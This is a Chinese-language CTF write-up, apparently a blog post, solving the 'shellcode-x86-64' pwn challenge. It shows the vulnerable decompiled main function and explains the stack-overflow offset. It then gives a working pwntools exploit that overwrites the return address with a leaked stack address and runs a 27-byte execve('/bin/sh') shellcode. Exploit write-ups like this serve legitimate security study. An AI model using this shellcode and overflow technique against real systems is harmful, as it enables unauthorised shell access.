shellcode-x86-64

64位动态链接ELF,没有开任何保护

main函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0LL;
  buf[1] = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", buf);
  puts("Now give me your answer : ");
  read(0, buf, 0x40uLL);
  return 0;
}

存在栈溢出,并且给了栈上的一个地址

不过栈溢出的空间有些小,是24位+8位的ret addr+32位这样一个空间

不过找到了一个27位的shellcode,因此直接写到ret addr后面就行

exp如下:

from pwn import *

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

io = process('./shellcode-x86-64')

io.recvuntil('Do your kown what is it : [')
buf_addr = int(io.recvuntil(']', drop = True), 16)
info('buf_addr: ' + hex(buf_addr))

io.recvuntil('Now give me your answer : \n')
payload = b'a' * 24 + p64(buf_addr + 0x20) + shellcode
io.send(payload)

io.interactive()

 

posted @ 2021-09-02 11:46  hktk1643  阅读(125)  评论(0编辑  收藏  举报